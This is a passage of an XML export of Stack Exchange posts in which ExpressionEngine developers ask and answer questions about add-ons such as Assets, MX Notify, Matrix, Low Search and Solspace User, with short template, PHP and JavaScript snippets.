  <row Id="18170" PostTypeId="2" ParentId="18160" CreationDate="2014-01-07T18:01:18.953" Score="1" Body="&lt;p&gt;Have you checked the paths for the image upload directories? It sounds like the Server Path is correct but the URL of the upload directory could be wrong. I would make sure all of your paths are correct.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-01-07T18:01:18.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18171" PostTypeId="1" CreationDate="2014-01-07T18:20:26.580" Score="1" ViewCount="146" Body="&lt;p&gt;Using the latest EE 2.7.3 and MX Notify 2.4.6 (tested on a fresh install), setting up a notification for anything, eg. a new entry posted, and notifying a user group or mailing list (or combination) with more than 1 email address in the array only sends to the first email address the system processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played around with setting different email config settings, but to no avail.&#xA;The system can send via the communicate tab to more than 1 address, so it must be a problem with MX Notify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eec.ms forums don't allow registration, so I'm posting here in case someone can help.&lt;/p&gt;&#xA;" OwnerUserId="2581" LastActivityDate="2014-02-07T09:22:42.767" Title="MX Notify Control not sending to more than 1 email address" Tags="|email|bug|mx-notify|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18173" PostTypeId="1" AcceptedAnswerId="18230" CreationDate="2014-01-07T19:37:30.157" Score="0" ViewCount="196" Body="&lt;p&gt;The site in question has had its domain changed and files moved to a new spot on the server. The site loads, but all Assets image fields in entries have not retained their images. However, image thumbnails do appear in the Assets file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.7.2, Assets 2.2.2, Matrix 2.5.10&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2014-01-07T20:34:13.283" LastActivityDate="2014-01-09T18:28:49.767" Title="Assets images disappear after site move" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18174" PostTypeId="1" AcceptedAnswerId="18175" CreationDate="2014-01-07T22:21:02.877" Score="1" ViewCount="50" Body="&lt;p&gt;Scenario: I have a collection of projects (the channel) in a portfolio page (the template), with the title and feature image showing on each. When I click on a project, I want to have a modal box with all information about it - description, gallery of images, client, team members etc (custom fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thought was to use AJAX to load the additional information by calling an XML template that accepted the entry id as a GET variable and returned all of the additional information. Then I wondered whether all of this additional information was already loaded in the portfolio template's database call. Are all of these custom channel fields already loaded and simply not displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are, then I could simply create a hidden modal box for each project in the template, then show with simpler Javascript.&lt;/p&gt;&#xA;" OwnerUserId="1970" LastActivityDate="2014-01-07T22:37:05.090" Title="When parsing {exp:channel:entries} are all channel fields loaded, or only the ones used in the template" Tags="|channel-entries|templates|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18175" PostTypeId="2" ParentId="18174" CreationDate="2014-01-07T22:37:05.090" Score="3" Body="&lt;p&gt;Yes, all custom fields for each entry you call via &lt;code&gt;channel:entries&lt;/code&gt; are loaded by the template engine and ready to be parsed, so your latter idea is a good one.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-07T22:37:05.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18176" PostTypeId="1" AcceptedAnswerId="18179" CreationDate="2014-01-07T23:56:48.390" Score="0" ViewCount="54" Body="&lt;p&gt;using tag:&#xA;{exp:freeform:composer form_name=&quot;test&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It draws lines but doesn't show the form inputs&#xA;example:&#xA;&lt;a href=&quot;http://sellitresolution.com/home/test&quot; rel=&quot;nofollow&quot;&gt;http://sellitresolution.com/home/test&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-01-08T02:43:18.710" Title="using free-form composer - form not appearing correctly" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18177" PostTypeId="2" ParentId="18090" CreationDate="2014-01-08T00:25:44.440" Score="4" Body="&lt;p&gt;Your problem is parse order, and there may be several workarounds for that... however, (and I'm guessing a bit at what you're trying to do) I would suggest that instead of using this unusual exp:config_variables add-on and faffing about with parse order that you use the &lt;code&gt;assign_to_config&lt;/code&gt; array to create your own early-parsed global variables. Then you can do a nice clean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if logged_in_group_id == {gv_special-group-id}}...{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve this as documented either in the main index.php file, or if you prefer with a little trickery you can do it in your config.php file &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9798/how-to-create-a-global-variable-inside-config-php&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-01-08T00:25:44.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18178" PostTypeId="1" CreationDate="2014-01-08T02:35:18.373" Score="0" ViewCount="147" Body="&lt;p&gt;So I've looked at this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13002/when-trying-to-update-indexes-a-get-a-js-error-and-it-never-finished&quot;&gt;When trying to update indexes a get a JS error and it never finished&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added &lt;code&gt;$config['assets_site_url'] = '/index.php';&lt;/code&gt; to my config file but I'm still getting this error &lt;code&gt;Uncaught SyntaxError: Unexpected token &amp;lt; matrix_multi_upload.js:166&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lv3QA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any other ideas on what could be causing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix allows me to upload photos, but I REALLY like MMU! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-16T13:19:58.407" Title="Matrix Multi Upload JS Issue" Tags="|matrix|file-uploads|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18179" PostTypeId="2" ParentId="18176" CreationDate="2014-01-08T02:43:18.710" Score="0" Body="&lt;p&gt;If you view source, you'll see that all the Freeform code is there. This seems to be more of a display issue. Try that tag in a blank template and see what you get.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-08T02:43:18.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18180" PostTypeId="2" ParentId="18163" CreationDate="2014-01-08T06:05:20.870" Score="3" Body="&lt;p&gt;There is probably no easy add-on for scheduling as you describe it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mention, this scheduling app would be possible with regular channels, channel:form and a bit of javascript. When adding a new booking, the system would need to check for entries (availability) for both members and then (ajax) submit a channel:form. To cancel a booking, you'ld need to set the status to cancelled (deleting entries with channel:form/safecracker is not possible, as far as i know).&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-01-08T06:05:20.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18181" PostTypeId="2" ParentId="18097" CreationDate="2014-01-08T06:12:45.277" Score="4" Body="&lt;p&gt;As Alex mentions, when a user has &quot;Can delete members&quot; rights, he/she can delete any member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different approach would be to, not allow to delete members, but to only allow users to be moved to a member group with no (login) rights at all. You can restrict to which group a member can be assigned by setting the group to &quot;locked&quot;. If needed, the restricted member group could regularly be purged by a super-admin.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-01-08T06:12:45.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18182" PostTypeId="2" ParentId="18173" CreationDate="2014-01-08T06:22:46.870" Score="0" Body="&lt;p&gt;Did you update the paths in Content -&gt; Files -&gt; File Upload Preferences?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-01-08T06:22:46.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18183" PostTypeId="2" ParentId="18171" CreationDate="2014-01-08T09:10:16.357" Score="2" Body="&lt;p&gt;It seems that adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;initialize();&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;from($site_settings['email_' . $iRow] != '' ? $site_settings['email_' . $iRow] :  $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_email'), ($site_settings['from_' . $iRow] != '') ? $site_settings['from_' . $iRow] : $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_name'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To the top of the foreach sending loop fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (count($emailTo) != 0 )&#xA;    {&#xA;        foreach ($emailTo as $key =&amp;gt; $val)&#xA;        {&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;initialize();&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;from($site_settings['email_' . $iRow] != '' ? $site_settings['email_' . $iRow] :  $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_email'), ($site_settings['from_' . $iRow] != '') ? $site_settings['from_' . $iRow] : $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_name'));&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to($val['mbr_email']);&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject($this-&amp;gt;templater($email_sabj_tmp, $val));&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($this-&amp;gt;templater($msg_body_tmp, $val)), (($plaintext_alt_tmp != '') ? $this-&amp;gt;templater($plaintext_alt_tmp, $val) : ''));&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2581" LastActivityDate="2014-01-08T09:10:16.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18184" PostTypeId="2" ParentId="18178" CreationDate="2014-01-08T10:17:52.907" Score="1" Body="&lt;p&gt;That setting is &quot;mmu_site_url&quot; instead of &quot;assets_site_url&quot;, for Matrix Multi Upload accessory :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/pixelandtonic/matrix_multi_upload/blob/master/ee2/third_party/matrix_multi_upload/acc.matrix_multi_upload.php#L118&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-01-08T10:17:52.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18186" PostTypeId="1" AcceptedAnswerId="18189" CreationDate="2014-01-08T10:25:09.503" Score="0" ViewCount="128" Body="&lt;p&gt;This title should be pretty self-explanatory. All the images and their manipulations are working just fine. Except when I upload the images into a subfolder of the main &quot;&lt;code&gt;images&lt;/code&gt;&quot; upload-directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tell it to get the so-called &quot;gallerythumb&quot;-manipulation of said image, it returns the url: &#xA;&lt;code&gt;/images/store-photos/_gallerythumb/111.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which corresponds to the usual pattern:&#xA;&lt;code&gt;/upload-directory-path/user-created-subfolder/_manipulation-name/filename.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that was never a part of Assets' functionality? I mean, I know it's not part of EE's functionality, but...&lt;/p&gt;&#xA;" OwnerUserId="1174" LastActivityDate="2014-01-08T13:12:27.163" Title="Assets 2: Image Manipulations not showing for images in subfolders?" Tags="|assets|file-uploads|file-manager|thumbnails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18187" PostTypeId="2" ParentId="18186" CreationDate="2014-01-08T10:52:59.780" Score="0" Body="&lt;p&gt;I could be mistaken but EE only sees one level of folder and by thereby only manipulate those in he top level folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets introduced sub folders and as far as I know not even EE file  manager sees IMG in assets sub folders.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-08T10:52:59.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18188" PostTypeId="1" AcceptedAnswerId="18191" CreationDate="2014-01-08T13:04:21.843" Score="0" ViewCount="78" Body="&lt;p&gt;I have a Assets fieldtype within a Matrix fieldtype column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to list subfolders for the uploads dir?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATM, I only get top level folders as per the attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im my Images folder, I have News and Product subfolders...I'd like these listed if possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cM6XG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2014-01-08T13:54:50.907" Title="Listing subfolders in an Assets fieldtype" Tags="|matrix|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18189" PostTypeId="2" ParentId="18186" CreationDate="2014-01-08T13:12:27.163" Score="1" Body="&lt;p&gt;Sounds like a permissions issue to me. Make sure that the subfolders of the upload folders are writable by PHP. Image manipulations work for subfolders in Assets.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-01-08T13:12:27.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18190" PostTypeId="1" CreationDate="2014-01-08T13:22:49.533" Score="2" ViewCount="76" Body="&lt;p&gt;i wanted to know how it is possible to filter the products sold report, because we have some orders which are paid directly and some which can be paid manual and sometimes they never get paid. So our order list is filled also with some shop reminder statuses and i don't want to have that products inside the products sold report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option that only the products get counted where the paid status is true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Peter &lt;/p&gt;&#xA;" OwnerUserId="768" LastEditorUserId="159" LastEditDate="2014-01-08T15:37:59.863" LastActivityDate="2016-01-31T13:48:20.253" Title="Show sold products report status only for paid orders in Expresso Store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18191" PostTypeId="2" ParentId="18188" CreationDate="2014-01-08T13:54:50.907" Score="2" Body="&lt;p&gt;As far as I know that's not possible. If you have a folder you need to use like that you'll have to just create a new root folder for it (if you don't want to use one of the existing ones)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-01-08T13:54:50.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18192" PostTypeId="2" ParentId="15454" CreationDate="2014-01-08T15:26:53.390" Score="1" Body="&lt;p&gt;I encountered this issue as well, and Pixel and Tonic confirmed it to me as a known bug in Assets 2.2.2. Email them for a fix: support@pixelandtonic.com&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-08T15:26:53.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18193" PostTypeId="2" ParentId="17845" CreationDate="2014-01-08T15:53:44.167" Score="2" Body="&lt;p&gt;We had to contact Nexcess support to allow a mod_security exception for our site. Hope this helps anybody else with a similar problem.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-01-08T15:53:44.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18194" PostTypeId="2" ParentId="12450" CreationDate="2014-01-08T15:55:45.143" Score="0" Body="&lt;p&gt;As I posted in a comment above, this was a DST server setting issue.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-01-08T15:55:45.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18195" PostTypeId="2" ParentId="18119" CreationDate="2014-01-08T17:11:55.817" Score="1" Body="&lt;p&gt;Do you have an index.htm page in your site root? That can cause a similar issue for Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding this config line to your config.php to tell Assets the path to your site index:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['assets_site_url'] = &quot;/index.php&quot;;&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-01-08T17:11:55.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18196" PostTypeId="1" AcceptedAnswerId="18197" CreationDate="2014-01-08T17:30:25.877" Score="4" ViewCount="1062" Body="&lt;p&gt;is there a simple out of the box approach to showing entries created by their author?&#xA;EG: after an article I want to list a credit like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;article by AUTHOR&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and allow a &lt;em&gt;click through&lt;/em&gt; from the &lt;em&gt;AUTHOR link&lt;/em&gt; to a template featuring just that author's entries…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2569" LastEditorUserId="22" LastEditDate="2014-01-08T18:37:50.533" LastActivityDate="2018-06-22T19:43:09.823" Title="Show entries by author" Tags="|channel-entries|entries|author|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18197" PostTypeId="2" ParentId="18196" CreationDate="2014-01-08T17:58:25.283" Score="11" Body="&lt;p&gt;You can include the author's name and a link using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#author&quot;&gt;&lt;code&gt;author&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#id4&quot;&gt;&lt;code&gt;author_id&lt;/code&gt;&lt;/a&gt; variables. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;    &amp;lt;p&amp;gt;Posted by &amp;lt;a href=&quot;/blog/author/{author_id}&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, at its most basic, create a template to display posts filtered by author (the template used in the example above is &lt;code&gt;blog.group/author.html&lt;/code&gt;). In that template, filter the Channel entries with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#author-id&quot;&gt;&lt;code&gt;author_id&lt;/code&gt;&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; author_id=&quot;{segment_3}&quot;}&#xA;    {if count == &quot;1&quot;}&#xA;        &amp;lt;h1&amp;gt;All Posts by {author}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;&#xA;    {if count == total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-08T18:07:11.500" LastActivityDate="2014-01-08T18:07:11.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18198" PostTypeId="1" AcceptedAnswerId="18213" CreationDate="2014-01-08T19:31:22.550" Score="2" ViewCount="172" Body="&lt;p&gt;I would to add category in the Low Search Url result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my page result appears the Channel name and the entry name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite/recipes/hamburger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i would insert the categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite/recipes/meat/beef/hamburger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot;}&#xA;      &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried but without success&#xA;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="172" LastEditDate="2014-01-09T14:05:28.987" LastActivityDate="2014-01-09T14:05:28.987" Title="Adding category data to URLs in Low Search results" Tags="|categories|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18199" PostTypeId="1" CreationDate="2014-01-08T20:57:24.577" Score="2" ViewCount="93" Body="&lt;p&gt;We've taken over a site at work and they were originally developed in Expression Engine with Structure installed. They recently asked us to install the Discussion Forum module on the site, which we have installed now, but I'm having a hell of a time trying to get it working. My assumption is that real problem here is Structure, but I'm also fairly new to EE, so maybe it's just a lack of knowledge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the forum working on a new template page using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:forum}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a page in Structure and assigned it to the template, so when you navigate to the page the forum shows up properly; however, when you try and do anything within the forum, like trying to view a forum or thread, it sends you back to the main site to a blank landing page for the forum page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of is that structure is seeing that the &quot;viewforum&quot; or any other page beyond the forum landing page doesn't actually exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up installed Freebie hoping that would help solve some of my problems - the forum stopped redirecting back to the main site, but it won't actually work now because it relies on EE's core &lt;code&gt;uri-&amp;gt;segment&lt;/code&gt; and freebie stops that from being processed (at least from my understanding)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried adding a new channel for the forum and creating the page in Structure using that channel, it still does the same thing when you try to click into a forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope someone knows a fix for this, I'm  literally pulling my hair out trying to figure this system out and the documentation on this stuff is very minimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to anyone that can help!&lt;/p&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2014-02-07T22:27:13.357" Title="Working with EE Discussion Forum when Structure is installed" Tags="|ee2|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18200" PostTypeId="1" AcceptedAnswerId="18235" CreationDate="2014-01-08T21:09:13.363" Score="0" ViewCount="422" Body="&lt;p&gt;I'm using the Solspace User v3.4.4 module on Exp Eng v2.7.2 - Build Date: 20131008 and trying to provide a set of existing Avatars for members to select from. I've setup a javascript function that populates a hidden field with the filename of the Avatar image when it is clicked on in a displayed list. But when the User &quot;edit&quot; profile form is updated the value is not being saved/stored in the member's profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried variations of the field from 'hidden' to 'file' to 'text'. I can see the field being set to the proper value on the web page when a radio button is clicked on. But no saving of the field value when the form is posted. It seems likely there is some other security issue blocking this or something that I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some of the html and javascript...&#xA;(I've changed the initial character of some tags to '[' so that the code will display)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    [p id=&quot;avatar_filename_set&quot;&gt;Choose a New Avatar:&#xA;    [input type=&quot;text&quot; name=&quot;avatar_filename&quot; id=&quot;avatar_filename&quot; value=&quot;&quot; /&gt;&#xA;    [input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&gt;&lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;3&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td align='center'&amp;gt;&amp;lt;img src='{site_url}images/avatars/sports/stand-up-paddling.png' border='0' alt='stand-up-paddling.png'/&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type='radio' name='avatar' value='stand-up-paddling.png' {if avatar_filename == 'sports/stand-up-paddling.png'}checked='checked'{/if} onclick=&quot;javascript:document.getElementById('avatar_filename_set').getElementsByTagName('input')[0].value = 'sports/stand-up-paddling.png'; return false;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the javascript specifically...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;onclick=&quot;javascript:document.getElementById('avatar_filename_set').getElementsByTagName('input')[0].value = 'sports/stand-up-paddling.png'; return false;&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="197" LastEditDate="2014-01-09T20:42:27.383" LastActivityDate="2014-01-09T20:42:27.383" Title="Is there a way to provide a pick list of avatar images using Solspace User module?" Tags="|javascript|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18202" PostTypeId="2" ParentId="18199" CreationDate="2014-01-08T21:42:21.737" Score="1" Body="&lt;p&gt;This probably needs ot be run completely outside of Structure and more like traditional EE for the forum to avoid all of the routing/url issues.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-01-08T21:42:21.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18203" PostTypeId="2" ParentId="18139" CreationDate="2014-01-08T22:10:30.563" Score="2" Body="&lt;p&gt;The answer is already in the forum thread you linked to. You would set these fields as hidden fields on the product page and you would use JavaScript to fill these values in when the user &lt;em&gt;adds to cart&lt;/em&gt; (use the on click event of the button as the trigger).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable this, when you add the &lt;em&gt;Store Product Details&lt;/em&gt; field to your channel field group you will see an option to &lt;em&gt;Enable Dynamic Weight &amp;amp; Dimensions&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Naqa7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set this to Yes so they can be submitted from the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you setup your shipping rules then they will match the selected dimensions of the product and increase or decrease shipping cost accordingly.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-01-08T22:10:30.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18204" PostTypeId="2" ParentId="17778" CreationDate="2014-01-08T22:42:51.873" Score="1" Body="&lt;p&gt;Inside your {exp:cartthrob_gift_certificates:add_to_cart_form} add the parameter shipping_exempt=&quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding that parameter, the gift certificate will not be factored in when calculating the shipping costs.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-08T22:42:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18205" PostTypeId="1" CreationDate="2014-01-08T22:47:32.510" Score="1" ViewCount="37" Body="&lt;p&gt;I recently updated a site from EE 2.2 (I think) to 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere along the way, the categories and groups went missing, but not the category associations for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The person who was holding the backup of the DB seems to have misplaced it, otherwise I'd just pull it from there. I'm hoping it will still turn up...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to recreate the category structure based on the information in the entries?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2014-01-09T13:07:53.323" Title="Restoring Category Groups and Categories?" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
